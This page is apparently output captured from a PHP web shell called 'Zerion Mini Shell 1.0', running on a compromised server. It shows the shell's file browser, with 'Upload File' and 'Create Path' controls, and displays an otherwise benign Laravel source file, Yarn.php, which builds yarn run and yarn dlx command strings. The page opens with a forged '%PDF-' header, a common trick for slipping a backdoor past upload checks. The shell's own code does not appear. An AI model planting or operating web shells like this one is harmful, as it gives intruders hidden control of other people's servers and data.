%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /vendor/laravel/framework/src/Illuminate/Support/NodePackageManagers/
Upload File :
Create Path :
Current File : //vendor/laravel/framework/src/Illuminate/Support/NodePackageManagers/Yarn.php

<?php

namespace Illuminate\Support\NodePackageManagers;

use Illuminate\Support\Contracts\NodePackageManager;

class Yarn implements NodePackageManager
{
    /**
     * Determine if the Yarn package manager is in use.
     *
     * @return bool
     */
    public static function matches(): bool
    {
        return file_exists(getcwd().'/yarn.lock');
    }

    /**
     * Get the command to run a script using Yarn.
     *
     * @param  string  $command
     * @return string
     */
    public function getRunCommand(string $command): string
    {
        return "yarn run {$command}";
    }

    /**
     * Get the command to execute a package using Yarn.
     *
     * @param  string  $command
     * @return string
     */
    public function getExecCommand(string $command): string
    {
        return "yarn dlx {$command}";
    }
}

Zerion Mini Shell 1.0